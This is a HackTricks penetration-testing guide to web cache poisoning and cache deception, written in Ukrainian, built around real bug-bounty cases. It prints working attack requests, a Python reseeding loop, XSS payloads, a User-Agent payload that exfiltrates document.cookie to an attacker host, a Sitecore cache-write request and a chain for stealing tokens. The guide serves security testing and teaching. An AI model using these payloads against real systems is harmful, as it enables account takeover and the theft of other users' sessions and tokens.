Cache Poisoning and Cache Deception

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Різниця

Яка різниця між web cache poisoning та web cache deception?

  • У web cache poisoning атакуючий змушує застосунок зберегти шкідливий вміст у кеші, і цей вміст потім видається з кеша іншим користувачам застосунку.
  • У web cache deception атакуючий змушує застосунок зберегти в кеші деякий конфіденційний вміст, що належить іншому користувачу, а потім атакуючий отримує цей вміст із кешу.

Cache Poisoning

Cache poisoning має на меті маніпулювати кешем на стороні клієнта, примушуючи клієнтів завантажувати ресурси, які є неочікуваними, частково завантаженими або під контролем атакуючого. Ступінь впливу залежить від популярності ураженої сторінки, оскільки змінена відповідь подається виключно користувачам, які відвідують сторінку під час періоду зараження кешу.

Виконання атаки cache poisoning включає кілька кроків:

  1. Identification of Unkeyed Inputs: це параметри, які, хоча і не потрібні для того, щоб запит кешувався, можуть змінювати відповідь сервера. Ідентифікація таких входів є критичною, оскільки їх можна використати для маніпуляції кешем.
  2. Exploitation of the Unkeyed Inputs: після виявлення неключованих вхідних параметрів наступним кроком є визначення способу їх використання для модифікації відповіді сервера на користь атакуючого.
  3. Ensuring the Poisoned Response is Cached: останній крок — гарантувати, що змодифікована відповідь зберігається в кеші. Таким чином будь-який користувач, який звернеться до ураженої сторінки під час зараження кешу, отримає підроблену відповідь.

Виявлення: Перевірте HTTP заголовки

Зазвичай, коли відповідь була stored in the cache, буде заголовок, який це вказує; ви можете перевірити, на які заголовки слід звертати увагу в цій публікації: HTTP Cache headers.

Виявлення: Кешування кодів помилок

Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати відправити запит з некоректним заголовком, на який має бути відповідь зі статус-кодом 400. Потім спробуйте звернутися до запиту нормально, і якщо відповідь має статус-код 400, ви знаєте, що воно вразливе (і навіть можна виконати DoS).

Ви можете знайти більше опцій у:

Cache Poisoning to DoS

Проте зверніть увагу, що іноді такого роду статус-коди не кешуються, тому цей тест може бути ненадійним.

Виявлення: Ідентифікація та оцінка неключованих вхідних параметрів

Ви можете використовувати Param Miner для brute-force параметрів та заголовків, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок X-Forwarded-For, щоб вказати клієнту завантажити скрипт звідти:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Викликати шкідливу відповідь від бекенд-сервера

Після визначення параметра/заголовка перевірте, як він санітується і де він відбивається або впливає на відповідь сервера з цього заголовка. Чи можна ним зловживати (perform an XSS or load a JS code controlled by you? perform a DoS?…)

Добитися кешування відповіді

Після того як ви виявили сторінку, яку можна зловживати, який параметр/заголовок використовувати і як його зловживати, потрібно зробити так, щоб сторінка була кешована. Залежно від ресурсу, який ви намагаєтеся занести в кеш, це може зайняти деякий час — можливо доведеться повторювати спроби кілька секунд.

Заголовок X-Cache у відповіді може бути дуже корисним: він може містити значення miss, коли запит не був кешований, та значення hit, коли він закешований.
Заголовок Cache-Control також цікавий для розуміння, чи кешується ресурс і коли він знову буде кешований: Cache-Control: public, max-age=1800

Ще один цікавий заголовок — Vary. Цей заголовок часто використовується, щоб вказати додаткові заголовки, які розглядаються як частина cache key, навіть якщо вони зазвичай не враховуються. Тому, якщо нападник знає User-Agent жертви, він може poison the cache для користувачів, що використовують цей конкретний User-Agent.

Ще один заголовок, пов’язаний з кешем, — Age. Він визначає час у секундах, який об’єкт перебуває в proxy cache.

При кешуванні запиту будьте обережні з заголовками, які ви використовуєте, тому що деякі з них можуть неочікувано використовуватися як keyed, і жертві доведеться використовувати той самий заголовок. Завжди тестуйте Cache Poisoning з різними браузерами, щоб перевірити, чи працює експлойт.

Базові приклади cache poisoning

HackerOne глобальний редирект через X-Forwarded-Host

  • Origin формував redirect’и та canonical URL на основі X-Forwarded-Host, але cache key використовував тільки заголовок Host, тому одна отруєна відповідь вплинула на кожного відвідувача /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Негайно повторно запросіть / без spoofed header; якщо redirect зберігається, у вас є глобальна host-spoofing primitive, яка часто апґрейдить reflected redirects/Open Graph links у stored issues.

GitHub repository DoS via Content-Type + PURGE

  • Анонімний трафік був key-ований лише за шляхом, тоді як backend входив у стан помилки, коли бачив unexpected Content-Type. Та відповідь з помилкою кешувалася для кожного unauthenticated user репо.
  • GitHub також (accidentally) honor-ив PURGE verb, дозволяючи attacker сбросити healthy entry і змусити caches витягати poisoned variant за вимогою:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Завжди порівнюйте authenticated vs anonymous cache keys, fuzz rarely keyed headers such as Content-Type, і перевіряйте наявність exposed cache-maintenance verbs для автоматизації re-poisoning.

Shopify cross-host persistence loops

  • Multi-layer caches іноді вимагають кількох ідентичних hits перед тим, як commit нового об’єкта. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
  • Використовуйте короткі automation loops, щоб repeatedly reseed:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Після відповіді hit, проскануйте інші хости/ресурси, що ділять той самий cache namespace, щоб продемонструвати міждоменний радіус ураження.

JS asset redirect → stored XSS chain

  • Приватні програми часто хостять спільні JS, такі як /assets/main.js, на десятках субдоменів. Якщо X-Forwarded-Host впливає на логіку редиректу для цих ресурсів, але не прив’язаний до ключа, кешована відповідь перетворюється на 301 до attacker JS, що призводить до stored XSS скрізь, де імпортується цей asset.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Складіть карту того, які hosts повторно використовують той самий asset path, щоб ви могли довести multi-subdomain compromise.

GitLab статичний DoS через X-HTTP-Method-Override

  • GitLab роздавав static bundles із Google Cloud Storage, який враховує X-HTTP-Method-Override. Перевизначення GET на HEAD повертало кешований 200 OK з Content-Length: 0, а edge cache ігнорував HTTP method при генерації ключа.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Один запит замінив JS bundle на порожнє тіло для кожного GET, фактично DoSing the UI. Завжди перевіряйте перевизначення методу (X-HTTP-Method-Override, X-Method-Override тощо) щодо статичних ресурсів і підтверджуйте, чи змінюється кеш залежно від методу.

HackerOne статична петля ресурсу через X-Forwarded-Scheme

  • Rails’ Rack middleware довіряв X-Forwarded-Scheme для визначення, чи примусово застосовувати HTTPS. Підробка http при зверненні до /static/logo.png спричиняла кешований 301, тож усі користувачі надалі отримували перенаправлення (або петлі) замість ресурсу:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Поєднуйте scheme spoofing з host spoofing, коли це можливо, щоб створювати незворотні перенаправлення для високопомітних ресурсів.

Cloudflare host-header: несумісність регістру

  • Cloudflare нормалізував заголовок Host для ключів кешу, але пересилав початковий регістр до origins. Надсилання Host: TaRgEt.CoM спричиняло альтернативну поведінку в origin routing/templating, водночас наповнюючи канонічний кеш-бакет у нижньому регістрі.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Перелічуйте CDN tenants, відтворюючи mixed-case hosts (та інші normalized headers) і роблячи diff між the cached response та the origin response, щоб виявити shared-platform cache poisonings.

Red Hat Open Graph meta poisoning

  • Injecting X-Forwarded-Host всередину Open Graph tags перетворювало reflected HTML injection на stored XSS після того, як CDN cached the page. Використовуйте harmless cache buster під час тестування, щоб уникнути шкоди production users:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Скрейпери соціальних мереж споживають кешовані Open Graph теги, тому один отруєний запис розповсюджує payload значно далі за безпосередніх відвідувачів.

Приклади експлуатації

Найпростіший приклад

Заголовок, як-от X-Forwarded-For, відображається у відповіді без санітизації.
Ви можете відправити простий XSS payload і отруїти кеш, щоб кожен, хто заходить на сторінку, буде XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Зауважте, що це отруїть запит до /en?region=uk, а не до /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

У this writeup пояснено такий простий сценарій:

  • CDN буде кешувати будь-що під /share/
  • CDN НЕ декодує і не нормалізує %2F..%2F, тому це можна використати як path traversal для доступу до інших чутливих локацій, які будуть cached, наприклад https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • web server ДЕКОДУЄ і нормалізує %2F..%2F, і відповість /api/auth/session, який містить auth token.

Cookies також можуть відображатися у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу cached відповідь.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Зверніть увагу, що якщо вразливий cookie дуже часто використовується користувачами, регулярні запити будуть очищувати кеш.

Генерація невідповідностей за допомогою роздільників, нормалізації та крапок

Перевірте:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Це також краще пояснено в:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

Іноді вам буде потрібно exploit several unkeyed inputs, щоб мати змогу зловживати кешем. Наприклад, ви можете знайти Open redirect, якщо встановите X-Forwarded-Host на домен, яким ви контролюєте, і X-Forwarded-Scheme на http. Якщо сервер перенаправляє всі HTTP запити на HTTPS і використовує заголовок X-Forwarded-Scheme як ім’я домену для редиректу, ви можете контролювати, куди сторінка буде вказана редиректом.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Використання при обмеженому Varyheader

Якщо ви виявили, що заголовок X-Host використовується як ім’я домену для завантаження JS-ресурсу, але заголовок Vary у відповіді вказує User-Agent, тоді вам потрібно знайти спосіб exfiltrate User-Agent жертви та poison the cache, використовуючи цей user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Надішліть GET-запит, у якому той самий запит знаходиться і в URL, і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, будь-хто, хто звертається до цього URL, фактично використовуватиме parameter із body. Як-от vuln, який James Kettle знайшов на сайті Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Наприклад, на ruby servers можна розділити parameters, використовуючи символ ; замість &. Це може бути використано, щоб помістити значення unkeyed parameters всередину keyed ones і зловживати ними.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Дізнайтесь тут, як виконувати Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner можна використовувати для автоматичного тестування на web cache poisoning. Він підтримує багато різних технік і добре налаштовується.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Ця реальна схема зв’язує header-based reflection primitive з поведінкою CDN/WAF, щоб надійно poison the cached HTML, який обслуговується іншим користувачам:

  • Головний HTML відображав неперевірений заголовок запиту (наприклад, User-Agent) у виконувальний контекст.
  • CDN видаляв cache headers, але існував internal/origin cache. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, .js), тоді як WAF застосовував слабший вмістовий огляд до GET для статичних ресурсів.
  • Особливості потоку запитів дозволяли запиту до шляху .js впливати на cache key/variant, що використовувався для наступного main HTML, дозволяючи cross-user XSS через header reflection.

Практичний рецепт (спостерігався у популярному CDN/WAF):

  1. З чистої IP-адреси (уникати попередніх reputation-based downgrades) встановіть шкідливий User-Agent через браузер або Burp Proxy Match & Replace.
  2. У Burp Repeater підготуйте групу з двох запитів і використайте “Send group in parallel” (single-packet mode працює найкраще):
  • Перший запит: GET до .js ресурсу на тому ж origin, відправляючи ваш шкідливий User-Agent.
  • Негайно після: GET головної сторінки (/).
  1. Гонка маршрутизації CDN/WAF разом з авто-кешованим .js часто посіває poisoned cached HTML variant, який потім подається іншим відвідувачам, що ділять ті самі умови cache key (наприклад, ті самі Vary виміри як User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Практичні поради:

  • Багато CDN приховують cache headers; poisoning може проявлятися лише під час оновлень з інтервалом у кілька годин. Використовуйте кілька vantage IPs і throttle, щоб уникнути тригерів rate-limit або reputation.
  • Використання IP з власного cloud CDN іноді покращує routing consistency.
  • Якщо присутній строгий CSP, це все одно працює, якщо reflection виконується в main HTML context і CSP дозволяє inline execution або обходиться за рахунок context.

Вплив:

  • Якщо session cookies не є HttpOnly, можливий zero-click ATO шляхом масової ексфільтрації document.cookie від усіх користувачів, яким сервовано poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Вразливі приклади

Apache Traffic Server (CVE-2021-27577)

ATS пересиляв fragment, що був всередині URL, не видаляючи його, і генерував cache key лише з host, path і query (ігноруючи fragment). Тому запит /#/../?r=javascript:alert(1) був відправлений на backend як /#/../?r=javascript:alert(1), а cache key не містив payload, лише host, path і query.

403 and Storage Buckets

Cloudflare раніше кешував 403 відповіді. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization заголовками призводила до 403 відповіді, яка потрапляла в кеш. Хоча Cloudflare перестав кешувати 403 відповіді, така поведінка може досі бути присутня в інших proxy services.

Injecting Keyed Parameters

Caches часто включають певні GET параметри в cache key. Наприклад, Fastly’s Varnish кешував параметр size у запитах. Однак, якщо також був надісланий URL-encoded варіант параметра (наприклад, siz%65) з некоректним значенням, cache key будувався із правильного size параметра. Натомість backend обробляв значення в URL-encoded параметрі. URL-encoding другого size параметра призводив до його пропуску кешем, але до його використання backend. Присвоєння цьому параметру значення 0 призводило до кешованої помилки 400 Bad Request.

User Agent Rules

Деякі розробники блокують запити з user-agents, що відповідають інструментам з високим трафіком, наприклад FFUF або Nuclei, щоб зменшити навантаження на сервер. Іронічно, такий підхід може вводити вразливості, такі як cache poisoning і DoS.

Illegal Header Fields

RFC7230 визначає допустимі символи в іменах header. Заголовки, що містять символи поза вказаним діапазоном tchar, ідеально повинні викликати 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає headers з недопустимими символами і кешує будь-яку 400 помилку, якщо заголовок cache-control відсутній. Було виявлено експлуатований патерн, де відправлення header з незаконним символом, наприклад \, призводило до кешованої 400 Bad Request.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

Перш за все зауважте, що extensions, такі як .css, .js, .png тощо, зазвичай налаштовані на збереження в cache. Тому, якщо ви звертаєтеся до www.example.com/profile.php/nonexistent.js, кеш, ймовірно, збереже відповідь, бо бачить .js extension. Але якщо application відповідає з чутливою інформацією користувача, яка зберігається в www.example.com/profile.php, ви можете вкрасти ці дані у інших користувачів.

Інші речі для тестування:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Ще один дуже наочний приклад можна знайти в цьому write-up: https://hackerone.com/reports/593712.
У прикладі пояснюється, що якщо завантажити неіснуючу сторінку типу http://www.example.com/home.php/non-existent.css, то буде повернутий вміст http://www.example.com/home.php (з чутливою інформацією користувача) і cache server збереже цей результат.
Потім attacker може зайти на http://www.example.com/home.php/non-existent.css у своєму браузері і побачити конфіденційну інформацію користувачів, які заходили раніше.

Зверніть увагу, що cache proxy має бути налаштованим на кешування файлів на основі extension файлу (.css) а не на основі content-type. У прикладі http://www.example.com/home.php/non-existent.css буде text/html content-type замість text/css mime type.

Дізнайтеся тут про те, як виконувати Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

Цей патерн поєднує Client-Side Path Traversal (CSPT) примітив в Single-Page App (SPA) з extension-based CDN caching, щоб публічно закешувати чутливий JSON, який спочатку був доступний лише через authenticated API виклик.

Загальна ідея:

  • Чутливий API endpoint вимагає кастомний auth header і правильно позначений як non-cacheable на origin.
  • Додавання статичного суфіксу (наприклад, .css) змушує CDN трактувати шлях як static asset і кешувати відповідь, часто без varying на sensitive headers.
  • SPA містить CSPT: вона конкатенує контрольований користувачем сегмент шляху в URL API, при цьому прикріплюючи auth header жертви (наприклад, X-Auth-Token). Через інжекцію ../.. traversal автентифікований fetch перенаправляється на cacheable path варіант (…/v1/token.css), що викликає кешування token JSON жертви під публічним ключем.
  • Будь-хто потім може зробити GET того самого cache key без автентифікації і отримати token жертви.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Суфікс, що виглядає статичним, перетворює CDN на кешований:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT у SPA додає auth header і дозволяє traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Ланцюжок експлуатації:
  1. Приманити жертву на URL, який вставляє dot-segments у параметр шляху SPA, наприклад:
  1. SPA виконує автентифікований fetch до:
  1. В результаті нормалізації браузера URL приводиться до:
  1. CDN трактує .css як статичний ресурс і кешує JSON з Cache-Control: public, max-age=…
  2. Публічний доступ: будь-хто може потім GET https://api.example.com/v1/token.css і отримати кешований token JSON.

Передумови

  • SPA виконує автентифікований fetch/XHR до тієї ж API origin (або cross-origin з працюючим CORS) і додає чутливі заголовки або bearer tokens.
  • Edge/CDN застосовує кешування на основі розширення для шляхів, що виглядають як статичні (наприклад, *.css, *.js, images) і не варіює cache key за чутливим заголовком.
  • Origin для базової кінцевої точки некешований (так і має бути), але варіант з суфіксом розширення дозволений або не заблокований правилами edge.

Контрольний список перевірки

  • Визначте чутливі динамічні кінцеві точки і спробуйте суфікси на кшталт .css, .js, .jpg, .json. Шукайте Cache-Control: public/max-age і X-Cache: Hit (або еквівалент, напр., CF-Cache-Status), поки контент залишається JSON.
  • Знайдіть клієнтський код, який конкатенує керований користувачем ввід у API шляхи одночасно додаючи auth headers. Інжектуйте ../ послідовності, щоб перенаправити автентифікований запит до вашої цільової кінцевої точки.
  • Підтвердіть, що автентифікований заголовок присутній у перенаправленому запиті (наприклад, у проксі або в логах сервера) і що CDN кешує відповідь під пройденим шляхом.
  • З нового контексту (без автентифікації) зробіть запит того ж шляху і підтвердіть, що секретний JSON повертається з кешу.

Automatic Tools

  • toxicache: Golang сканер для пошуку web cache poisoning вразливостей у переліку URL та тестування різних технік інжекцій.
  • CacheDecepHound: Python сканер, призначений для виявлення Cache Deception вразливостей у web-серверах.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks